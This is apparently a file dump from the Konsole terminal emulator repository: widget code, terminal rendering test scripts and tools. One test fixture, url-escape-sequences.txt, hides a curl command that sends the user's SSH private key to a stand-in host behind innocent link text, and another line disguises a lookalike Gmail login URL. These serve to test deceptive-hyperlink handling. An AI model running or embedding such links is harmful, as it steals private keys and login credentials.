-------------------------------------------------------------------------------- /src/widgets/IncrementalSearchBarSizeGrip.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2024 Eric D'Addario 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "widgets/IncrementalSearchBarSizeGrip.h" 9 | 10 | namespace Konsole 11 | { 12 | IncrementalSearchBarSizeGrip::IncrementalSearchBarSizeGrip(QWidget *parent) 13 | : QSizeGrip(parent) 14 | { 15 | this->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Ignored); 16 | this->setFixedWidth(5); 17 | } 18 | 19 | void IncrementalSearchBarSizeGrip::moveEvent(QMoveEvent *moveEvent) 20 | { 21 | QSizeGrip::moveEvent(moveEvent); 22 | setCursor(Qt::SizeHorCursor); 23 | } 24 | } -------------------------------------------------------------------------------- /src/widgets/IncrementalSearchBarSizeGrip.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2024 Eric D'Addario 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef INCREMENTALSEARCHBARSIZEGRIP_H 8 | #define INCREMENTALSEARCHBARSIZEGRIP_H 9 | 10 | // Qt 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | /** 16 | * A custom QSizeGrip widget used by IncrementalSearchBar which allows using a QSizeGrip 17 | * with a horizontal resize cursor. 18 | * 19 | * Currently, QSizeGrip only uses diagonal resize cursors, so we must override this 20 | * functionality as a workaround. 21 | */ 22 | class IncrementalSearchBarSizeGrip : public QSizeGrip 23 | { 24 | public: 25 | explicit IncrementalSearchBarSizeGrip(QWidget *parent = nullptr); 26 | 27 | protected: 28 | /** 29 | * QSizeGrip sets the cursor inside moveEvent(). 30 | * We override this function to set our desired cursor. 31 | */ 32 | void moveEvent(QMoveEvent *moveEvent) override; 33 | }; 34 | } 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /src/widgets/KonsolePrintManager.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | SPDX-FileCopyrightText: 2012-2020 Kurt Hindenburg 4 | SPDX-FileCopyrightText: 2020-2020 Tomaz Canabrava 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef KONSOLEPRINTMANAGER_H 10 | #define KONSOLEPRINTMANAGER_H 11 | 12 | #include 13 | 14 | class QFont; 15 | class QRect; 16 | class QColor; 17 | class QPoint; 18 | class QWidget; 19 | class QPainter; 20 | 21 | namespace Konsole 22 | { 23 | class KonsolePrintManager 24 | { 25 | public: 26 | typedef std::function pPrintContent; 27 | typedef std::function pVTFontGet; 28 | typedef std::function pVTFontSet; 29 | typedef std::function pDrawBackground; 30 | typedef std::function pDrawContents; 31 | typedef std::function pColorGet; 32 | 33 | KonsolePrintManager(pDrawBackground drawBackground, pDrawContents drawContents, pColorGet colorGet); 34 | ~KonsolePrintManager() = default; 35 | 36 | void printRequest(pPrintContent pContent, QWidget *parent); 37 | void printContent(QPainter &painter, bool friendly, QPoint columnsLines, pVTFontGet vtFontGet, pVTFontSet vtFontSet); 38 | 39 | private: 40 | pDrawBackground _drawBackground; 41 | pDrawContents _drawContents; 42 | pColorGet _backgroundColor; 43 | }; 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /src/widgets/RenameTabWidget.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2010 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef RENAMETABWIDGET_H 8 | #define RENAMETABWIDGET_H 9 | 10 | // Qt 11 | #include 12 | 13 | class QColor; 14 | 15 | namespace Ui 16 | { 17 | class RenameTabWidget; 18 | } 19 | 20 | namespace Konsole 21 | { 22 | class RenameTabWidget : public QWidget 23 | { 24 | Q_OBJECT 25 | 26 | public: 27 | explicit RenameTabWidget(QWidget *parent = nullptr); 28 | ~RenameTabWidget() override; 29 | 30 | QString tabTitleText() const; 31 | QString remoteTabTitleText() const; 32 | QColor color() const; 33 | void setTabTitleText(const QString &); 34 | void setRemoteTabTitleText(const QString &); 35 | void setColor(const QColor &); 36 | 37 | void focusTabTitleText(); 38 | void focusRemoteTabTitleText(); 39 | 40 | Q_SIGNALS: 41 | void tabTitleFormatChanged(const QString &); 42 | void remoteTabTitleFormatChanged(const QString &); 43 | void tabColorChanged(const QColor &); 44 | 45 | public Q_SLOTS: 46 | void insertTabTitleText(const QString &text); 47 | void insertRemoteTabTitleText(const QString &text); 48 | 49 | private: 50 | Ui::RenameTabWidget *_ui; 51 | QColor _colorNone; 52 | }; 53 | } 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /src/widgets/TabTitleFormatButton.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef TABTITLEFORMATBUTTON_H 8 | #define TABTITLEFORMATBUTTON_H 9 | 10 | // Qt 11 | #include 12 | #include 13 | 14 | // KDE 15 | #include 16 | 17 | // Konsole 18 | #include "session/Session.h" 19 | 20 | namespace Konsole 21 | { 22 | class TabTitleFormatButton : public QPushButton 23 | { 24 | Q_OBJECT 25 | 26 | public: 27 | explicit TabTitleFormatButton(QWidget *parent); 28 | ~TabTitleFormatButton() override; 29 | 30 | void setContext(Session::TabTitleContext titleContext); 31 | Session::TabTitleContext context() const; 32 | 33 | Q_SIGNALS: 34 | void dynamicElementSelected(const QString &); 35 | 36 | private Q_SLOTS: 37 | void fireElementSelected(QAction *); 38 | 39 | private: 40 | Session::TabTitleContext _context; 41 | 42 | struct Element { 43 | QString element; 44 | KLazyLocalizedString description; 45 | }; 46 | static const Element _localElements[]; 47 | static const int _localElementCount; 48 | static const Element _remoteElements[]; 49 | static const int _remoteElementCount; 50 | }; 51 | } 52 | 53 | #endif // TABTITLEFORMATBUTTON_H 54 | -------------------------------------------------------------------------------- /tests/Makefile: -------------------------------------------------------------------------------- 1 | SUBDIRS := bugs features legacy misc 2 | 3 | all: $(SUBDIRS) 4 | 5 | $(SUBDIRS): 6 | $(MAKE) -C $@ 7 | 8 | .PHONY: all $(SUBDIRS) 9 | 10 | -------------------------------------------------------------------------------- /tests/README.xterm: -------------------------------------------------------------------------------- 1 | 2 | Instead of adding all of xterm's tests, download the file from [1] and 3 | use the scripts in xterm-VERSION/vttests 4 | 5 | [1] https://invisible-island.net/datafiles/release/xterm.tar.gz 6 | 7 | -------------------------------------------------------------------------------- /tests/bugs/Makefile: -------------------------------------------------------------------------------- 1 | all: spam-stderr 2 | -------------------------------------------------------------------------------- /tests/bugs/bulktest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | while true; do echo -n x; done 3 | -------------------------------------------------------------------------------- /tests/bugs/combining.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | Generates an endless amount of combining characters 5 | ''' 6 | 7 | import random 8 | import string 9 | 10 | combs = list("\u0300\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F") 11 | 12 | while True: 13 | random.shuffle(combs) 14 | print(random.choice(string.ascii_letters)+"".join(combs), end="", flush=True) 15 | 16 | -------------------------------------------------------------------------------- /tests/bugs/resize-test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "Make sure konsole is built with 'cmake .. -DECM_ENABLE_SANITIZERS=address'" 4 | echo 5 | 6 | echo $(printf 'a%.0s' $(seq 1 $(($(stty size | cut -d\ -f2) - 1)))) 7 | 8 | echo 9 | echo Now make the window smaller 10 | 11 | -------------------------------------------------------------------------------- /tests/bugs/spam-stderr.c: -------------------------------------------------------------------------------- 1 | // from https://bugs.kde.org/show_bug.cgi?id=230184 2 | // author Stefan Westerfeld 3 | // This code is in the public domain. 4 | 5 | #include 6 | 7 | int main() 8 | { 9 | for (int i = 0; i < 100000000; i++) { 10 | fprintf(stderr, "foo %d\n", i); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/bugs/unicode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # A list of some trouble-some chars 4 | 5 | # Some taken from https://bugs.kde.org/show_bug.cgi?id=210329 6 | print(u'\u0307') 7 | print(u'\u2500') 8 | print(u'\u2501') 9 | print(u'\u2502') 10 | print(u'\u2503') 11 | print(u'\u2504') 12 | print(u'\u2505') 13 | print(u'\u2506') 14 | print(u'\u2507') 15 | print(u'\u2508') 16 | print(u'\u2509') 17 | print(u'\u250A') 18 | print(u'\u250B') 19 | print(u'\u250C') 20 | print(u'\u250D') 21 | print(u'\u250E') 22 | print(u'\u250F') 23 | 24 | print(u'\u254C') 25 | print(u'\u254D') 26 | print(u'\u254E') 27 | print(u'\u254F') 28 | 29 | print(u'\u256D') 30 | print(u'\u256E') 31 | print(u'\u256F') 32 | 33 | print(u'\u2570') 34 | print(u'\u2571') 35 | print(u'\u2572') 36 | print(u'\u2573') 37 | 38 | -------------------------------------------------------------------------------- /tests/features/Makefile: -------------------------------------------------------------------------------- 1 | all: signaltests 2 | -------------------------------------------------------------------------------- /tests/features/colortest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -- 2 | # 3 | # display ANSI colours and test bold/blink attributes 4 | # orginates from Eterm distribution 5 | #------------------------------------------------------------------------- 6 | 7 | ESC=$'\x1b' 8 | CSI="${ESC}[" 9 | RST="${CSI}m" 10 | 11 | echo ""; echo "${RST}" 12 | echo " 40 41 42 43 44 45 46 47 49" 13 | echo " 40 41 42 43 44 45 46 47 49" 14 | for fg in 30 31 32 33 34 35 36 37 39 90 91 92 93 94 95 96 97 15 | do 16 | l1="$fg "; 17 | l2=" "; 18 | l3=" "; 19 | l4=" "; 20 | l5=" "; 21 | l6=" "; 22 | l7=" "; 23 | l8=" "; 24 | l9=" "; 25 | l10=" "; 26 | l11=" "; 27 | for bg in 40 41 42 43 44 45 46 47 49 28 | do 29 | l1="${l1}${CSI}${fg};${bg}m Normal ${RST}" 30 | l2="${l2}${CSI}${fg};${bg};1m Bold ${RST}" 31 | l3="${l3}${CSI}${fg};${bg};2m Faint ${RST}" 32 | l4="${l4}${CSI}${fg};${bg};3m Italic ${RST}" 33 | l5="${l5}${CSI}${fg};${bg};4m Underl ${RST}" 34 | l6="${l6}${CSI}${fg};${bg};5m Blink ${RST}" 35 | l7="${l7}${CSI}${fg};${bg};8m Concel ${RST}" 36 | l8="${l8}${CSI}${fg};${bg};9m Strike ${RST}" 37 | l9="${l9}${CSI}${fg};${bg};53m Overli ${RST}" 38 | l10="${l10}${CSI}${fg};${bg};1;5m Bold! ${RST}" 39 | l11="${l11}${CSI}${fg};${bg};3;4m It/Und ${RST}" 40 | 41 | done 42 | echo "$l1" 43 | echo "$l2" 44 | echo "$l3" 45 | echo "$l4" 46 | echo "$l5" 47 | echo "$l6" 48 | echo "$l7" 49 | echo "$l8" 50 | echo "$l9" 51 | echo "$l10" 52 | echo "$l11" 53 | done 54 | -------------------------------------------------------------------------------- /tests/features/ct2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -- 2 | # 3 | # display ANSI colours and test bold/blink attributes 4 | # orginates from Eterm distribution 5 | #------------------------------------------------------------------------- 6 | 7 | echo ""; echo "" 8 | echo " 40 41 42 43 44 45 46 47 49" 9 | for fg in 30 31 32 33 34 35 36 37 39 10 | do 11 | l1=" $fg "; 12 | l2=" $fg "; 13 | for bg in 40 41 42 43 44 45 46 47 49 14 | do 15 | l1="${l1}[${fg};${bg}m xx " 16 | l2="${l2}[${fg};${bg};1m XX " 17 | done 18 | echo "$l1" 19 | echo "$l2" 20 | done 21 | -------------------------------------------------------------------------------- /tests/features/sgr2-8-9-53.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -- 2 | # 3 | # faint intensity support (SGR 2) 4 | # conceal support (SGR 8) 5 | # strikeout support (SGR 9) 6 | # overline support (SGR 53) 7 | 8 | # echo 'D\e[2mD\e[9mD\e[53mD\e[8mD' 9 | 10 | echo ""; echo "" 11 | echo " faint concel strikeout overline" 12 | #for fg in 30 31 32 33 34 35 36 37 39 13 | for fg in 30 14 | do 15 | for bg in 40 41 42 43 44 45 46 47 49 16 | do 17 | for sgr in 2 8 9 53 18 | do 19 | l1="${l1}[${fg};${bg};1m XX " 20 | l1="${l1}[${fg};${bg};${sgr}m XX " 21 | done 22 | l1="${l1}\n" 23 | done 24 | echo "$l1" 25 | done 26 | -------------------------------------------------------------------------------- /tests/features/testdwlwrap.sh: -------------------------------------------------------------------------------- 1 | do_tests() { 2 | tput cup 0 0; printf "$@" 3 | 4 | for i in {0..16}; do tput cup $i 0; printf "\e#6"; done 5 | 6 | tput cup 0 $((COLUMNS/2-1)); printf "AB" 7 | tput cup 3 $((COLUMNS/2-1)); printf "A\bB" 8 | tput cup 6 $((COLUMNS/2-1)); printf A; tput cud 1; printf B 9 | tput cup 9 $((COLUMNS/2-1)); printf A; tput cuu 1; printf B 10 | tput cup 12 $((COLUMNS/2-1)); printf A; tput cub 1; printf B 11 | tput cup 15 $((COLUMNS/2-1)); printf A; tput cuf 1; printf B 12 | 13 | tput cup 18 1; echo -n -- "-- Press RETURN to run next test --" 14 | read 15 | #sleep 5 16 | } 17 | 18 | clear; tput smam 19 | do_tests "No Reverse Wrap - AutoWrap Mode" 20 | 21 | clear; tput rmam 22 | do_tests "No Reverse Wrap - No AutoWrap Mode" 23 | 24 | 25 | clear; tput smam; printf "\e[?45h" 26 | do_tests "Reverse Wrap - AutoWrap Mode" 27 | 28 | clear; tput rmam; printf "\e[?45h" 29 | do_tests "Reverse Wrap - No AutoWrap Mode" 30 | 31 | 32 | clear; tput smam; printf "\e[?45l" 33 | -------------------------------------------------------------------------------- /tests/features/testwrap.sh: -------------------------------------------------------------------------------- 1 | do_tests() { 2 | tput cup 0 0; printf "$@" 3 | 4 | tput cup 0 $((COLUMNS-1)); printf "AB" 5 | tput cup 3 $((COLUMNS-1)); printf "A\bB" 6 | tput cup 6 $((COLUMNS-1)); printf A; tput cud 1; printf B 7 | tput cup 9 $((COLUMNS-1)); printf A; tput cuu 1; printf B 8 | tput cup 12 $((COLUMNS-1)); printf A; tput cub 1; printf B 9 | tput cup 15 $((COLUMNS-1)); printf A; tput cuf 1; printf B 10 | 11 | tput cup 18 1; echo -n -- "-- Press RETURN to run next test --" 12 | read 13 | #sleep 5 14 | } 15 | 16 | clear; tput smam 17 | do_tests "No Reverse Wrap - AutoWrap Mode" 18 | 19 | clear; tput rmam 20 | do_tests "No Reverse Wrap - No AutoWrap Mode" 21 | 22 | 23 | clear; tput smam; printf "\e[?45h" 24 | do_tests "Reverse Wrap - AutoWrap Mode" 25 | 26 | clear; tput rmam; printf "\e[?45h" 27 | do_tests "Reverse Wrap - No AutoWrap Mode" 28 | 29 | 30 | clear; tput smam; printf "\e[?45l" 31 | -------------------------------------------------------------------------------- /tests/features/titletest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -- 2 | # 3 | # display [user@host/path] in title 4 | 5 | export PS1="\\[]2;\\u@\\H\\w\\]$ " 6 | -------------------------------------------------------------------------------- /tests/features/utf8.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -- 2 | # 3 | # Switch utf-8 mode 4 | # 5 | #------------------------------------------------------------------------- 6 | 7 | case $1 in 8 | on) echo $'\033%G'"UTF-8 on";; 9 | off) echo $'\033%@'"UTF-8 off";; 10 | *) echo "usage: $0 [on|off]";; 11 | esac 12 | -------------------------------------------------------------------------------- /tests/legacy/Makefile: -------------------------------------------------------------------------------- 1 | all: audit quote 2 | -------------------------------------------------------------------------------- /tests/legacy/audit.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | This is a tiny test program that can be used to track down 4 | strange effects of the emulation. 5 | 6 | Make: 7 | 8 | - gcc -o audit audit.c 9 | 10 | Usage: 11 | 12 | - In TEShell.C let syslog be stdout. 13 | - konsole > ttt 14 | - produce the effect in question. 15 | - run this program. 16 | pressing any key advances the audit 17 | ^C terminates. 18 | 19 | You need to make sure that the size of the screen matches 20 | the one being debugged. 21 | 22 | This code was written by Lars Doelle . 23 | This code is in the public domain. 24 | 25 | */ 26 | 27 | #include 28 | #include 29 | #include 30 | 31 | struct termios save; 32 | struct termios curr; 33 | 34 | #define HERE fprintf(stderr, "%s(%d): here.\n", __FILE__, __LINE__) 35 | 36 | main() 37 | { 38 | int cc; 39 | FILE *sysin = fopen("ttt", "r"); 40 | tcgetattr(0, &save); 41 | tcgetattr(0, &curr); 42 | cfmakeraw(&curr); 43 | tcsetattr(0, TCSANOW, &curr); 44 | cc = fgetc(sysin); 45 | while (cc > 0) { 46 | int tmp; 47 | while (cc > 0) { 48 | fputc(cc, stdout); 49 | cc = fgetc(sysin); 50 | if (cc == 0x1b) 51 | break; 52 | } 53 | tmp = fgetc(stdin); 54 | if (tmp == 3) 55 | break; 56 | } 57 | tcsetattr(0, TCSANOW, &save); 58 | } 59 | -------------------------------------------------------------------------------- /tests/legacy/quote.c: -------------------------------------------------------------------------------- 1 | // a silly quotation utitility 2 | 3 | /* 4 | This code was written by Lars Doelle . 5 | This code is in the public domain. 6 | */ 7 | 8 | #include 9 | #include 10 | 11 | int skip = 0; 12 | int empty = 1; 13 | 14 | void pchr(int c, int indent) 15 | { 16 | if (skip) { 17 | skip = (c != '\n'); 18 | return; 19 | } 20 | switch (c) { 21 | case '\n': 22 | if (!empty) 23 | printf("\\n\"\n%*s\"", indent, ""); 24 | empty = 1; 25 | break; 26 | case '#': 27 | skip = 1; 28 | break; 29 | case '"': 30 | case '\\': 31 | printf("\\"); 32 | // fallthrough 33 | default: 34 | printf("%c", c); 35 | empty = 0; 36 | break; 37 | } 38 | } 39 | 40 | #define INDENT 2 41 | 42 | int main(int argc, char *argv[]) 43 | { 44 | int cc; 45 | FILE *sysin; 46 | if (argc < 2) { 47 | fprintf(stderr, "usage: %s filename\n", argv[0]); 48 | return 1; 49 | } 50 | sysin = fopen(argv[1], "r"); 51 | if (!sysin) { 52 | fprintf(stderr, "cannot open %s\n", argv[1]); 53 | perror("reason: "); 54 | return 1; 55 | } 56 | printf("%*s/* generated by '%s %s' */\n\n", INDENT, "", argv[0], argv[1]); 57 | printf("%*s\"", INDENT, ""); 58 | while ((cc = fgetc(sysin)) > 0) { 59 | pchr(cc, INDENT); 60 | } 61 | printf("\"\n"); 62 | fclose(sysin); 63 | } 64 | -------------------------------------------------------------------------------- /tests/legacy/sesstest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | while true; do date; sleep 1; done 3 | -------------------------------------------------------------------------------- /tests/misc/Makefile: -------------------------------------------------------------------------------- 1 | all: ripple 2 | -------------------------------------------------------------------------------- /tests/misc/ripple.c: -------------------------------------------------------------------------------- 1 | /* 2 | Ripple test. 3 | Usage: ripple [ w [ l ] ] 4 | w = screen line width, default 80, must be > 0, max 132. 5 | l = how many lines to display, default 1000, must be > 0. 6 | Author: Frank da Cruz, Columbia University, 1995. 7 | This is in the public domain as far as can be determined. 8 | */ 9 | char *crlf = "\015\012"; 10 | char *p = 11 | " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]\ 12 | ^_`abcdefghijklmnopqrstuvwxyz{|}~ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGH\ 13 | IJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !\"#$%&'()*+,-./012\ 14 | 3456789:;<=>?@ABCD"; 15 | 16 | main(argc, argv) int argc; 17 | char *argv[]; 18 | { 19 | int i, j, w = 80, l = 1000; 20 | 21 | if (argc > 1) /* User-specified width */ 22 | w = atoi(argv[1]); 23 | if (argc > 2) /* User-specified number of lines */ 24 | l = atoi(argv[2]); 25 | if (w < 1 || l < 1 || w > 132) /* Quit upon conversion error */ 26 | exit(1); 27 | 28 | for (j = i = 0; i < l; i++) { /* Ripple loop */ 29 | write(1, p + j, w); 30 | write(1, crlf, 2); 31 | if (++j > 94) 32 | j = 0; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /tests/text-files/UTF-8-test.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/tests/text-files/UTF-8-test.txt -------------------------------------------------------------------------------- /tests/text-files/decomposed-hangul.txt: -------------------------------------------------------------------------------- 1 | ཧྐྵྨླྺྼྻྂ 2 | 3 | -------------------------------------------------------------------------------- /tests/text-files/kitty.examples: -------------------------------------------------------------------------------- 1 | 2 | # Basic usage: 3 | printf '\x1b]99;;Title\x1b\\' 4 | printf '\x1b]99;d=0;%s\x1b\\\x1b]99;d=1:p=body;%s\x1b\\' Title Body 5 | printf '\x1b]99;e=1:d=0;%s\x1b\\\x1b]99;e=1:d=1:p=body;%s\x1b\\' "$(echo -n Title😺 | base64)" "$(echo -n Body😽 | base64)" 6 | 7 | # Application name 8 | printf '\x1b]99;f=%s;Title\x1b\\' "$(echo -n htop | base64)" 9 | 10 | # Icon: 11 | printf '\x1b]99;n=%s;Title\x1b\\' "$(echo -n warn | base64)" 12 | printf '\x1b]99;n=%s;Title\x1b\\' "$(echo -n emacs | base64)" 13 | 14 | # Urgency: 15 | printf '\x1b]99;u=2:d=0;%s\x1b\\\x1b]99;d=1:p=body;%s\x1b\\' "Explosion imminent" "Spaceship will explodes in 5 minutes" 16 | 17 | # Buttons: 18 | printf '\x1b]99;i=1:d=0:p=buttons;OK\xE2\x80\xa8Cancel\x1b\\\x1b]99;i=1:d=1;Proceed?\x1b\\\' 19 | 20 | # Report activation 21 | printf '\x1b]99;i=98542:a=report;3 new messages\x1b\\' 22 | 23 | # Report close 24 | printf '\x1b]99;i=98542:c=1;3 new messages\x1b\\' 25 | 26 | # Report only when unfocused: 27 | sleep 5 ; printf '\x1b]99;o=unfocused;3 new messages\x1b\\' 28 | -------------------------------------------------------------------------------- /tests/text-files/url-escape-sequences.txt: -------------------------------------------------------------------------------- 1 | ]8;;file:///usr/bin/curl -X POST http://totes-legit.com -F file=$HOME/.ssh/id_rsa;\Check this out: http://bbc.co.uk/exciting news]8;;\ 2 | ]8;;http://gmail-google.co/login\https://gmail.google.com/login/]8;;\ 3 | ]8;;http://example.com\This is a link]8;;\ 4 | -------------------------------------------------------------------------------- /tools/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | ### konsoleprofile command-line tool 3 | install(PROGRAMS konsoleprofile DESTINATION ${KDE_INSTALL_BINDIR}) 4 | 5 | add_subdirectory( uni2characterwidth ) 6 | -------------------------------------------------------------------------------- /tools/konsoleprofile: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # This file is in the public domain. 4 | 5 | # A command-line tool to change the current tab's profile options. 6 | # 7 | # Usage: konsoleprofile "option=value[;option=value;...]" 8 | # 9 | # Example: 'konsoleprofile "ColorScheme=WhiteOnBlack;TabColor=#FF0000"' will 10 | # change the colorscheme used in current tab into WhiteOnBlack and the TabColor 11 | # to red on the fly. 12 | # 13 | # NOTE: This script MUST run within a konsole tab to take effect. The change 14 | # is applied only to current tab. Other tabs using the same profile will not 15 | # be influenced. Any changes won't be saved to to disk. 16 | # 17 | # For the full list of supported options and values: 18 | # 1. konsole --list-profile-properties 19 | # 2. refer to konsole/src/Profile.h 20 | # 3. visit the online reference: 21 | # https://invent.kde.org/utilities/konsole/-/blob/master/src/profile/Profile.h 22 | # 23 | # All of the logic is in konsole. This script is provided for convenience. 24 | 25 | if [ ! $# -eq 1 ] 26 | then 27 | echo "" 28 | echo "Usage: $0 \"option=value[;option=value;...]\"" 29 | echo "" 30 | echo "For more documentation view this file $0" 31 | echo "" 32 | echo "The complete list of profile options can be displayed using:" 33 | echo " konsole --list-profile-properties" 34 | echo "" 35 | exit 0 36 | fi 37 | 38 | # Use printf since echo is not portable 39 | # https://pubs.opengroup.org/onlinepubs/009695399/utilities/echo.html 40 | printf "\033]50;%s\a" "$1" 41 | -------------------------------------------------------------------------------- /tools/uni2characterwidth/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ### uni2characterwidth 2 | ### 3 | ### Converts Unicode Character Database files into character width lookup 4 | ### tables. Uses a template file to place the tables in a source code file 5 | ### together with a function for finding the width for specified character. 6 | ### 7 | ### See `uni2characterwidth --help` for usage information 8 | if(KONSOLE_BUILD_UNI2CHARACTERWIDTH) 9 | 10 | # NOTE: this doesn't build with Qt6 even using compat and there are 11 | # some other errors that will need fixed. For now if this 12 | # needs to be used, build it on a Qt5 system. 13 | 14 | find_package(Qt6 ${QT_MIN_VERSION} CONFIG REQUIRED 15 | Core 16 | ) 17 | find_package(KF6 ${KF_MIN_VERSION} REQUIRED 18 | KIO 19 | ) 20 | 21 | set(uni2characterwidth_SRC 22 | uni2characterwidth.cpp 23 | properties.h 24 | template.cpp 25 | template.h 26 | ) 27 | 28 | add_executable(uni2characterwidth ${uni2characterwidth_SRC}) 29 | target_link_libraries(uni2characterwidth 30 | Qt::Core 31 | KF6::KIOCore 32 | ) 33 | 34 | endif() 35 | -------------------------------------------------------------------------------- /tools/uni2characterwidth/overrides.txt: -------------------------------------------------------------------------------- 1 | 000AD ; 1 # (­) Soft Hyphen (originally 0) 2 | 04DC0..04DFF ; 2 # YIJING hexagrams 3 | 01160..011FF ; 0 # (ᅟᅠ..ᅟᅠᇿ) Hangul Jamo Jungseong and Jongseong (originally 1) 4 | 0D7B0..0D7C6 ; 0 # (ᅟힰ..ᅟퟆ) Hangul Jamo Jungseong (complex vowels) for Old Korean (originally 1) 5 | 0D7CB..0D7FB ; 0 # (ᅟᅠퟋ..ᅟᅠퟻ) Hangul Jamo Jongseong (trailing consonants) for Old Korean (originally 1) 6 | 1F1E6..1F1FF ; 2 # (🇦..🇿) Regional indicators/flag codes (originally 1) 7 | --------------------------------------------------------------------------------